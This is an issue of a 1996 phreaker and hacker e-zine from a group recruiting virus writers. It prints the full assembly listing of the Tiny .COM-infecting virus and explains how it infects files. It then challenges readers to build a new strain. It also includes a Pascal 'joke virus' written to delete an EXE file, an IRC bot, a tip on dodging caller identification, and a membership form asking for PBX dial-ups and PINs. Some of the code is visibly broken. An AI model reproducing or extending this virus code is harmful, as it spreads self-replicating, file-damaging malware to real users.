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- Vol. 1 | No.5 | October 31st, 1996 | A HAVOC Bell Systems Publication
- "Pleading the Fifth"
- Happy Halloween!
- _____________________________________________________________________________
- Inside this issue:
-
- Whats new this issue..............................
- Editorial.........................................Scud-O
- The Dumper........................................Scud-O
- Virus Challenge...................................Scud-O / 40HEX
- The Burrito Virus.................................Scud-O
- BOT.C.............................................|\|\cFill
- ANI Spoofing......................................Keystroke
- Sign Up Sheet for HAVOC Bell Systems..............
- X11 services......................................Scud-O
- RTFM: The lamer Journal...........................
- ROLL CALL & more!.................................
- Next Month........................................
-
- (I need more writers!!! e-mail me if ya want to write an article!
- my e-mail is: FoxMulder@worldnet.att.net (yes its back up..)
- the mags e-mail is: thtj@juno.com (wheee.. we get to read ads as
- we get your e-mail!) )
-
- This months music supplied by: Geggy Tah, TOOL, Korn
- Sublime, Violent Femmes, Fun Loving Criminals and WHFS 99.1 !
-
- What's new in this issue:
- Well not much is new.. Yea Right! Both |\|\cFill and Keystroke
- have joined HBS and they have both have articles in this issue.
- Enjoy for they are great people!
-
- -----------------------------------------------------------
- How to contact us:
- Check Out Our Web Site:
- www.geocities.com/SiliconValley/8805/
- my (Scud-O) e-mail is : FoxMulder@worldnet.att.net
- Psycho's lame email: CLASSIFIED
- |\|\cFill's email : CLASSIFIED
- Keystroke's email : CLASSIFIED
- (If you guys want your email unclassified tell me so! )
- our Mag e-mail is : thtj@juno.com
- HELLCORE's e-mail is : hellcore@juno.com
- ---------------------------------------------------------------
-
- Editorial:
- by Scud-O
- Well HBS is reallt taking off again. After not seeing Pinky for a while and
- Rotten & Sid's move I was worried that HBS would die. But |\|\cFill and
- Keystroke (who are VERY cool people) have joined up! They each did an article
- for this issue and next month we will have info sheets on them.
- Also coming soon is a redesigned HBS web site! The graphics are
- almost done, the 403 Forbideen club is being worked on, the members pages
- will be created, and the links page will be up! Look for both Frames and non
- frames pages and maybe some Java & JavaScript! I may be moving to L0pht soon
- so then we will have CGI too!
- In other news HBS is now into commercial & private Web Development!
- So if you need any web stuff done cheaply we will do it! (we have super low
- rates!) Check out our web page for more info up soon including the rates!
- Now on to the bickering:
- This has been a CRAZY month! new HBS memebers, me running my schools network,
- coming in on weekends to work on it more! it TOO much! so that is why this
- issue has been cut down in size and why next issue isn't coming out until the
- 15th of December! If you want to complain.. #$^%$@# you! It takes a HELL of a
- LOT of work to run a web site, run a network, connect that network to inet,
- and edit this magizine as well as write it up! so help by writting articles
- for me!!!
- ----------------------------------------------
- / ---/ --/ / / | /------/ / /
- /--- /-----/------/-----/ / / /
- /----------/ /--------/
- -of HAVOC Bell Systems-
- FoxMulder@worldnet.att.net
-
- the National Get A Gat! [tm] Program - Join it today!
-
- "Beliefs are dangerous. Beliefs allow the mind to stop functioning.
- A non-functioning mind is clinically dead. Believe in nothing"
- -Tool "AEnima"
-
-
-
-
- The Dumper:
- by Scud-O
- This is a HEX Dump utility I wrote which can really help you in virus writing
- It is VERY simple but it works.. if you want more of a Dumper go find one..
- they are out there.. ALSO: if you fix this Dumper send me a copy of the fix
- and the source, I'll put it in a future issue! Below is the C source... its
- about 8563 bytes the assembly version was only 1294 bytes but it was too much
- typing to finish for this issue (ASM: 436 C:77 Winner:C!)
-
- /* DUMP.C Display the binary contents of a file in
- hex and ASCII on the standard output device.
-
- Compile: C> CL DUMP.C or whatever your compiler is..
-
- Usage: C>DUMP unit:path\filename.ext
-
- Copyright (C) 1996 HAVOC Bell Systems ALL Rights F**ked!
- Written by Scud-O of HBS
- */
-
- #include <stdio.h>
- #include <io.h>
- #include <fcntl.h>
-
- #define REC_SIZE 16 /* input file record size */
-
- main (int argc, char *argv[])
- {
- int fd; /* input file handle */
- int status = 0; /* status from file read */
- long fileptr = OL; /* current file byte offset */
- char filebuf[REC_SIZE]; /* data from file */
-
- /* abort if missing filename */
- if argc != 2)
- {
- fprintf(stderr, "\nDumper: wrong number of parameters\n");
- exit(1);
- }
-
- /* open file in binary mode, abort if fails */
- if((fd = open(argv[1],O_RDONLY | O_BINARY) ) == -1)
- {
- fprintf(stderr, "\nDumper: can't find file %s \n", argv[1]);
- /* read and dump records until EOF */
- while((status = read(rd,filebuf,REC_SIZE) ) != 0)
- {
- dump_rec(filebuf, fileptr, status);
- fileptr += REC_SIZE;
- }
-
- close(fd); /* close the input file */
- exit(0); /* return the success code */
- }
- /* Display record (16 bytes) in hex and ASCII on standard output */
- dump_rec(char *filebuf, long fileptr, int length)
- {
- int i; /* index to current record */
-
- if(fileptr % 128 == 0) /* display heading if needed */
- printf("\n\n 0 1 2 3 4 5 6 7 8 9 A B C D E F");
-
- printf("\n%041X ", fileptr); /* display file offset */
-
- /* display hex equivalent of each byte from file */
- for(i=0; i < length ; i++)
- printf(" %02X", (unsigned char)filebuf[i]);
-
- if(length != 16) /* spaces if partial record */
- for(i=0; i<(16-length); i++)
- printf(" ");
-
- /* display ASCII equivalent of each byte from file */
- printf(" ");
- for(i=0;i<lenght;i++)
- {
- if(filebuf[i] < 32 || filebuf[i] > 126)
- putchar('.');
- else putchar(filebuf[i]);
- }
- }
-
-
- Virus Challenge:
- by Scud-O / 40Hex
- Okay people this article was originally in 40Hex Issue 1. This
- is reprinted because It gives you a challenge to inprove this virus
- so go a head and work on it! It will greatly help your virus writing
- skills.
- - VIRUS SPOTLIGHT -
-
-
- The first virus I would like to spotlight is the Tiny virus, lets see
- what our good friend Patti Hoffman (bitch) has written about it.
-
- Name: Tiny
- Aliases: 163 COM Virus, Tiny 163 Virus, Kennedy-163
- V Status: Rare
- Discovery: June, 1990
- Symptoms: COMMAND.COM & .COM file growth
- Origin: Denmark
- Eff Length: 163 Bytes
- Type Code: PNCK - Parasitic Non-Resident .COM Infector
- Detection Method: ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+
- Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infectedfiles
- General Comments:
- The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason
- of Iceland in June 1990. This virus is a non-resident generic
- .COM file infector, and it will infect COMMAND.COM.
-
- The first time a file infected with the 163 COM Virus is executed,
- the virus will attempt to infect the first .COM file in the
- current directory. On bootable diskettes, this file will normally
- be COMMAND.COM. After the first .COM file is infected,each time
- an infected program is executed another .COM file will attempt to
- be infected. Files are infected only if their original length is
- greater than approximately 1K bytes.
-
- Infected .COM files will increase in length by 163 bytes, and have
- date/time stamps in the directory changed to the date/time the
- infection occurred. Infected files will also always end with this
- hex string: '2A2E434F4D00'.
-
- This virus currently does nothing but replicate, and is the
- smallest MS-DOS virus known as of its isolation date.
-
- The Tiny Virus may or may not be related to the Tiny Family.
- ^like she'd know the difference!
-
- OK, Theres the run down on the smallest MS-DOS virus known to man. As for
- it being detected by SCAN we'll see about that.
-
- Here is a dissasembly of the virus, It can be assembled under Turbo Assembler
- or MASM.
-
- -----------------------------------------------------------------------------
-
- PAGE 59,132
-
-
- data_2e equ 1ABh ;start of virus
-
- seg_a segment byte public ;
- assume cs:seg_a, ds:seg_a ;assume cs, ds - code
-
-
- org 100h ;orgin of all COM files
- s proc far
-
- start:
- jmp loc_1 ;jump to virus
-
-
- ;this is a replacement for an infected file
-
- db 0CDh, 20h, 7, 8, 9 ;int 20h
- ;pop es
-
- loc_1:
- call sub_1 ;
-
-
-
- s endp
-
-
- sub_1 proc near ;
- pop si ;locate all virus code via
- sub si,10Bh ;si, cause all offsets will
- mov bp,data_1[si] ;change when virus infects
- add bp,103h ;a COM file
- lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI
- xor cx,cx ;clear cx - find only normal
- ;attributes
- mov ah,4Eh ;find first file
- loc_2:
- int 21h ;
-
- jc loc_6 ;no files found? then quit
- mov dx,9Eh ;offset of filename found
- mov ax,3D02h ;open file for read/write access
- int 21h ;
-
- mov bx,ax ;save handle into bx
- mov ah,3Fh ;read from file
- lea dx,[si+1A8h] ;offset of save buffer
- mov di,dx ;
- mov cx,3 ;read three bytes
- int 21h ;
-
- cmp byte ptr [di],0E9h ;compare buffer to virus id
- ;string
- je loc_4 ;
- loc_3:
- mov ah,4Fh ;find the next file
- jmp short loc_2 ;and test it
- loc_4:
- mov dx,[di+1] ;lsh of offset
- mov data_1[si],dx ;
- xor cx,cx ;msh of offset
- mov ax,4200h ;set the file pointer
- int 21h ;
-
- mov dx,di ;buffer to save read
- mov cx,2 ;read two bytes
- mov ah,3Fh ;read from file
- int 21h ;
-
- cmp word ptr [di],807h ;compare buffer to virus id
- je loc_3 ;same? then find another file
-
- ;heres where we infect a file
-
- xor dx,dx ;set file pointer
- xor cx,cx ;ditto
- mov ax,4202h ;set file pointer
- int 21h ;
-
- cmp dx,0 ;returns msh
- jne loc_3 ;not the same? find another file
- cmp ah,0FEh ;lsh = 254???
- jae loc_3 ;if more or equal find another file
-
- mov ds:data_2e[si],ax ;point to data
- mov ah,40h ;write to file
- lea dx,[si+105h] ;segment:offset of write buffer
- mov cx,0A3h ;write 163 bytes
- int 21h ;
-
- jc loc_5 ;error? then quit
- mov ax,4200h ;set file pointer
- xor cx,cx ;to the top of the file
- mov dx,1 ;
- int 21h ;
-
- mov ah,40h ;write to file
- lea dx,[si+1ABh] ;offset of jump to virus code
- mov cx,2 ;two bytes
- int 21h ;
-
- ;now close the file
-
- loc_5:
- mov ah,3Eh ;close file
- int 21h ;
-
- loc_6:
- jmp bp ;jump to original file
-
- data_1 dw 0 ;
- db '*.COM',0 ;wild card search string
-
-
- sub_1 endp
- seg_a ends
- end start
-
-
- -----------------------------------------------------------------------------
-
- Its good to start off with a simple example like this. As you can see
- what the virus does is use the DOS 4Eh function to find the firsy COM file
- in the directory. If no files are found the program exits. If a file is
- found it compares the virus id string (the virus jump instruction) to the
- first two bytes of the COM file. If they match the program terminates.
- If they don't match the virus will infect the file. Using two key MS-DOS
- functions to infect.
-
- The first -
-
- INT 21h Function 42h
- SET FILE POINTER
-
- AH = 42h
- AL = method code
- BX = file handle
- CX = most significant half to offset
- DX = least " "
-
- If there is an error in executing this function the carry flag will be set,
- and AX will contian the error code. If no error is encountered
-
- DX = most significant half of file pointer
- AX = least " "
-
-
- The second (and most) important function used by any virus is
-
-
- INT 21h Function 40h
- WRITE TO FILE OR DEVICE
-
- AH = 40h
- BX = handle
- CX = number of bytes to write
- DS:DX = segment of buffer
-
- Returns
-
- AX = bytes transferred
-
- on error
-
- AX = Error Code and flag is set.
-
-
- An example of Function 40h is ----
-
-
- mov ah,40h ;set function
- mov bx,handle ;load bx with handle from prev open
- mov cx,virus_size ;load cx with # of bytes to write
- mov dx,offset write_buffer ;load dx with the offset of what to
- ;write to file
- int 21h ;
-
-
- This function is used by 98% of all MS-DOS viruses to copy itself to a
- victim file.
-
-
- Now heres a sample project - create a new strain of Tiny, have it restore
- the original date and time etc...
-
-
- HR
- ----------------------------------------------------------------------------
-
- The Burrito Virus: by Scud-O
- This is a joke virus just like the Cookie virus. It says that it
- wants a burrito, if you type 'burrito' it exits. Type 'breakfast burrito'
- and the virus deletes itself. type 'taco bell burrito' and the virus kills
- a random file (EXE). Actually this virus isn't really a true virus, as it
- doesnt spread (hmm.. maybe for version 2... ) anyway I wrote this is PASCAL
- basically because I was bored in PASCAL class. I'm going to port this to ASM
- as soon as i find the time... (hey im a busy guy alright?!?!) currently this
- file is like 4000 or so bytes (give or take..)
- PLEASE NOTE: This is a VERY early version of the virus! The final is lost
- somewhere on my network at school... I will hopefully find it for next issue!
- Challenge: get this porgram to work fully! I will give a prize to whoever
- fixes it first!
-
- PROGRAM burrito (Input,Output,InfectedFile);
- USES dos;
-
- (*CONST
- ThisFile = 'win.com';*)
-
- VAR
- regs: Registers;
- DirInfo: SearchRec;
- InfectedFile : Text;
- KillFile,
- ThisFile,
- UsrInput : String;
-
- BEGIN
- ThisFile := 'win.com' ;
- Write('I want a burrito! ');
- ReadLn(UsrInput);
- If UsrInput = 'burrito'
- Then
- Begin
- End ;
- If UsrInput = 'breakfast burrito'
- Then
- Begin
- WriteLn('Yuck');
- regs.ah := $41;
- with regs do
- msdos(regs);
- with regs do
- begin
- str(dx, ThisFile);
- end;
- End;
- If UsrInput = 'taco bell burrito'
- Then
- Begin
- KillFile := FindFirst('*.EXE', Archive, DirInfo);
- begin
- regs.ah := $41;
- with regs do
- msdos(regs);
- with regs do
- begin
- str(dx , KillFile);
-
- end;
- end;
- End;
-
- end.
-
-
-
-
- A simple C bot by |\|\cFill:
- /*
- * bot.c - example of IRC automaton
- *
- * invoke with "irc -e bot"
- *
- * TnG - //\/\cFiLL
- * repo
- */
-
- #include <stdio.h>
- #include <string.h>
- #include "varargs.h"
-
- #define LOGFILE "bot.log"
- #define MAXLEN 270
- #define MAXARGS 135
- #define PUBLIC 0x01
- #define PRIVATE 0x02
- #define NOTICE 0x04
- #define DCCCHAT 0x08
-
- char *strchr(char *str, int ch);
-
- void init(void);
- void strip(char *str);
- int makeargs(char *str, char **av);
- void parse(int ac, char **av);
- void say();
-
- int
- main()
- {
- FILE *log;
- char *buf, **av;
- int ac;
-
- buf = (char *) malloc(sizeof(char) * MAXLEN);
- av = (char **) malloc(sizeof(char **) * MAXARGS);
- if(!(log = fopen(LOGFILE, "a"))) {
- perror(LOGFILE);
- exit(1);
- }
- while(fgets(buf, MAXLEN, stdin)) {
- strip(buf);
- fprintf(log, "%s\n", buf);
- fflush(log);
- ac = makeargs(buf, av);
- parse(ac, av);
- fflush(stdout);
- }
- fclose(log);
- free(av);
- free(buf);
- exit(0);
- }
-
- void init(void)
- {
- puts("/join #home");
- puts("/notify SigInt");
- }
-
- void
- strip(char *str)
- {
- char *t;
-
- if(t = strchr(str, '\n')) *t = 0;
- if(t = strchr(str, '\r')) *t = 0;
- if(t = strchr(str, '\\')) *t = 0;
- if(t = strchr(str, ';')) *t = 0;
- }
-
- int
- makeargs(char *str, char **av)
- {
- char *t = str;
- int ac = 0;
-
- while(*t) {
- if(ac < MAXARGS) av[ac++] = t;
- while(*t && *t != ' ') t++;
- if(*t) *t++ = 0;
- while(*t && *t == ' ') t++;
- }
- return(ac);
- }
-
- void pargs(int ac, char **av)
- {
- int i;
-
- for(i = 0; i < ac; i++)
- printf("%s ", av[i]);
- printf("\n");
- }
-
- void say(va_alist) va_dcl
- {
- va_list args;
- char *from, *fmt;
- int flags;
-
- va_start(args);
- flags = va_arg(args, int);
- from = va_arg(args, char *);
- fmt = va_arg(args, char *);
-
- /* parse flags */
-
- if(flags & PUBLIC)
- vprintf(fmt, args);
- if(flags & PRIVATE) {
- printf("/msg %s ", from);
- vprintf(fmt, args);
- }
- if(flags & NOTICE) {
- printf("/notice %s ", from);
- vprintf(fmt, args);
- }
- if(flags & DCCCHAT) {
- printf("/msg =%s ", from);
- vprintf(fmt, args);
- }
- va_end(args);
- }
-
- void parse(int ac, char **av)
- {
- #define public() flags = PUBLIC
- #define private() flags = PRIVATE
- #define notice() flags = NOTICE
- #define dccchat() flags = DCCCHAT
- #define match(x,y) (!strcmp((x),(y)))
-
- static char nick[9], from[9], master[9], chnl[11];
- char *first, *last, *cmd, *second;
- int client = 0, trusted = 0, flags = PUBLIC;
-
- strcpy(nick, "SigBot");
-
- /* determine type of input */
-
- first = av[0];
- second = av[2];
- last = first + strlen(first) - 1;
- cmd = av[1];
-
- /* set flags based on input */
-
- if(*first == '<' && *last == '>') public();
- else if(*first == '*' && av[0][1] != '*' && *last == '*') private();
- else if(*first == '-' && *last == '-') notice();
- else if(*first == '=' && *last == '=') dccchat();
- else client++;
-
- *last = 0;
- strncpy(from, first + 1, 8);
- if(match(from, "SigInt")) trusted++;
-
- /* begin parsing bot's input */
-
- if(client) {
- if(match(av[4], "channels.")) {
- strcpy(chnl, "#home");
- init();
- }
- else if(match(av[1], "You") && match(av[4], "kicked")) {
- printf("/join %s\n", chnl);
- sleep(1);
- printf("%s, you bastard!!!\n", av[9]);
- }
- else if(match(cmd, "DCC") && match(av[2], "CHAT"))
- printf("/dcc chat %s\n", av[7]);
- else if(match(cmd, "DCC") && match(av[2], "SEND")) {
- private();
- say(flags, av[7], "Sorry, %s, I don't do DCC :(\n", av[7]);
- }
- else if(match(av[2], "invites")) {
- strcpy(chnl, av[6]);
- printf("/join %s\n", chnl);
- printf("/msg %s thanks!\n", av[1]);
- }
- else if(match(av[3], "joined") && strcmp(av[1], nick)) {
- if(match(av[1], "SigInt"))
- printf("/mode %s +o SigInt\n", chnl);
- }
- else if(match(av[1], "Signon")) {
- strcpy(from, av[3]);
- private();
- say(flags, from, "hi %s!\n", av[3]);
- printf("/msg SigInt %s is here!\n", av[3]);
- }
- else if(match(cmd, "Signoff"))
- printf("/msg SigInt %s has left!\n", av[3]);
- return;
- }
-
- /* parse public, private, notice, and dccchat messages */
-
- if(match(cmd, "die") && trusted) puts("/sign Bad breath?");
- else if(match(cmd, "do") && trusted) pargs(ac - 2, av + 2);
- else if(match(cmd, "finger")) printf("/exec -out finger %s\n", av[2]);
- else if(match(cmd, "go") && trusted) {
- strcpy(chnl, av[2]);
- printf("/join %s\n", chnl);
- }
- else if(match(cmd, "nick") && trusted) printf("/nick %s\n", av[2]);
- else if(match(cmd, "op") && trusted) printf("/mode %s +o %s\n", chnl, av[2]);
- else if(match(cmd, "ping")) say(flags, from, "pong.\n");
- else if(match(cmd, "sextalk")) printf("/exec -out SexTalk\n");
- else if(!strcasecmp(cmd, "What"))
- printf("I don't know, that's a good question %s\n", from);
- else if(!strcasecmp(cmd, "Why"))
- printf("yeah, why?\n");
- else if(!strcasecmp(cmd, "How"))
- printf("%s, doing so is pretty impossible, unless you're a bot!\n", from);
- else if(!strcasecmp(cmd, "elite"))
- printf("very elite\n");
- else if(!strcasecmp(cmd, "re"))
- printf("re %s\n", second);
-
-
-
- }
- ANI Spoofing by Keystroke
- (this was first published in PLA issue 41. (thats why he's the mad little
- PLA (Phone Losers of America) Insider!!))
-
- Dear PLA:
- I've found a new way to block 800 ANI. It is called Net2Phone and allows
- people to place calls using a piece software which connects to IDT's (the
- company offering Net2Phone) servers and routes the call from their fones in
- New Jersey to wherever you want to call.
-
- Here is how they describe it, "Net2Phone enables Internet users with sound
- equipped PCs to initiate calls from their computers and transmit them over the
- Internet to IDT's phone switches. The switches then convert the signal from
- the 'packet switch network' Internet environment to the 'circuit switch
- network' telephone environment. And then to its' final destination - any
- ordinary telephone. The result is real-time uninterrupted voice communication
- between the two calling parties."
-
- This service is offered for free on 800 and 888 numbers. If you want to call
- regular numbers it cost's extra. Unfortunately, after you call the number, you
- cannot send tones and it is too staticky to use a tone dialer. Grab a copy at
- http://www.net2phone.com.
-
- Keystroke - prenzo@soho.ios.com
-
-
-
- The HAVOC Bell Systems Sign Up sheet:
- (NOTE: im not real sure why im doing this, Its usually
- invite only , but i dunno, sign this and
- maybe you can get in... )
- CUT HERE ------------------------------------------------------
- Application For Membership To HAVOC Bell Systems
-
- HAVOC Bell Systems is quickly coming on to the net and irc.
- (we'd be on HellNet[tm] if Scud-O EVER gets his own line!!)
- We are a seriour group of Phreakers/Hackers/ and Virus Writers.
- We are all over the globe so.. a group meeting is pretty unlikely.
-
- If you wish to apply for membership to HBS or if you want
- your board to become to become a HBS distribution site
- fill out the application below and upload to Scud-O at:
- FoxMulder@worldnet.att.net
- for the Subject put: HAVOC Bell Systems Sign Up Sheet
- (anything else will not be reviewed!)
-
- Keep in mind, from the start of HAVOC Bell Systems we have been
- mainly Phreakers, but we are now into hacking and viruses.
- We do this to fight for phreaker's rights and to fight the
- Ma Bell beast.
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- Application For Membership
-
-
- I am interested in becoming
-
- ___ A HAVOC Bell Systems (HBS) Member
- ___ An HBS Distribution Site Sysop
-
-
- Handle: ________________
- Aliases: ________________
- Email : ________________
-
- Are you in any other groups? List them
- _____________________________________
- _____________________________________
- _____________________________________
-
- What are you into? (Hacking/Phreaking/Virus/Etc.. )
- ________________________________________________________________
- What do you know?
- ________________________________________________________________
- ________________________________________________________________
- ________________________________________________________________
- ________________________________________________________________
-
- Do you know any programming languages? (C/PASCAL/ASM)
- ____________________________ (Know well)
- ____________________________ ...
- ____________________________ (Just messed with)
-
-
- Are you a sysop of a BBS? ___
- If yes leave the vitals:
- BBS Name: _________________________
- Dialup: _________________________
- State/Country: ____________________
- Running: example: PCBoard _________
-
- Do you have a web site? ___
- vitals:
- Address: _________________________________________________
- CGI access : ______ (Y or N)
- Storage space: __________MB
-
- List three people you know (handles) : _________________
- _________________
- _________________
-
- List what IRC channels you are on:
- Channel: ____________________
- Server:______________________ (ex. Undernet, Dalnet, etc)
- Do you have ops on this channel? ___ (Y/N)
-
- List a BBS that you have elite access to:
-
- Name: _____________________ Dialup: _______________________
- Sysop: ____________________ NUP: __________________________
-
- Do you have a VMB:
- Dialup: _________________ Box#: _________
-
- Quiz:
- 1. What is a PBX? __________________________________________
- 2. What is a PBX dial up # :________________________________
- PIN :________________________________
- 3. What is a Bot? __________________________________________
- 4.
- Are you in any way connected to and law enforcment agency? ___
- (NOTE: by law you MUST answer this truthfully! )
- Do you realize that being untruthfull to the above question
- waviers all legal matters: ____
- Are you in anyway connected to any software company? ___
-
-
- Thank for filling this out. -The HAVOC Bell Systems gang-
-
- Please email this application to Scud-O at: FoxMulder@worldnet.att.net
- for the Subject put: HAVOC Bell Systems Sign Up Sheet
- (anything else will not be reviewed!)
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-
- X11 Services: by Scud-O
- 011 : Used for international dialing
- 111 : No use
- 211 : No Use
- 311 : Disconnect phone temporally ( In Baltimore it is for non
- emergency Five-O service )
- 411 : Information ( So whats the 411? )
- 511 : No Use
- 611 : Repairs
- 711 : No Use
- 811 : No Use
- 911 : Emergency ( Rescue911 )
-
- RTFM: The Lamer Journal
-
- What is RTFM : The Lamer Journal?
- basically it is a monthly article teaching basics of stuff, which
- will continue until we feel we have covered what you need to know.
-
- Next month will have a basics on the smarts you need to stay out
- in the world long enough to practice you hobby.
-
- Each monthly installment has info and a quiz on the material, and
- info on where to get more info, practice sites, tools, etc.
-
- Look for it starting with issue 6!
-
-
- ROLL CALL & More!
-
-
- Who is HAVOC Bell Systems?
- Scud-O : Bunghole
- Psycho : Burrito
- |\|\cFill : Bot boy
- Keystroke : PLA Insider
- Pinky : In hidding
- Rotten : Moving fool
- Sid : Other Moving Fool (and the're twins as well! )
-
- Want to join? next month we got a sign up sheet!
- Cool People:
- phire
- UnaBomber
- theLURK7R (sometimes theLURK3R ) or 4, 2 , etc...
- LogicBox
- Dem0nWeed
- darkcyde
- Rap3d_C0w
- all on IRC!
-
- This Month Question: Who is Scud-O?
- Scud-O is from the cool as shit comic book Scud: The Dispossible
- Assassin by Rab Schrab and Fireman Press. In issue 2 there is a
- TV ad for the Scud line and there is a little gun that talks and
- his name is Scud-O. There was a cool theme song it was:
- "Get your spite in a bag,
- get your bile piled up,
- its the best damn vengance you've ever had!"
-
-
- Next Month's Question: Who are |\|\cFill and Keystroke?
-
-
- Next Month:
- This MAY be what we will have in issue 6
- - The HellNet[tm] script / C code!
- - Voice Mail Boxes
- - PBX's
- - Pager Talk (Delayed from this issue)
- - NIDs pt.2 (Delayed from this issue)
- - Whats up in the HELLCORE labs? (Delayed from this issue)
- - Undernet Crash (Delayed from this issue)
- - More from the RTFM: The Lamer Journal
- - Much, Much more TBA!
- Issue 6 is out Dec. 15th!
-
- cya ya next issue! - The HAVOC Technical Journal Crew
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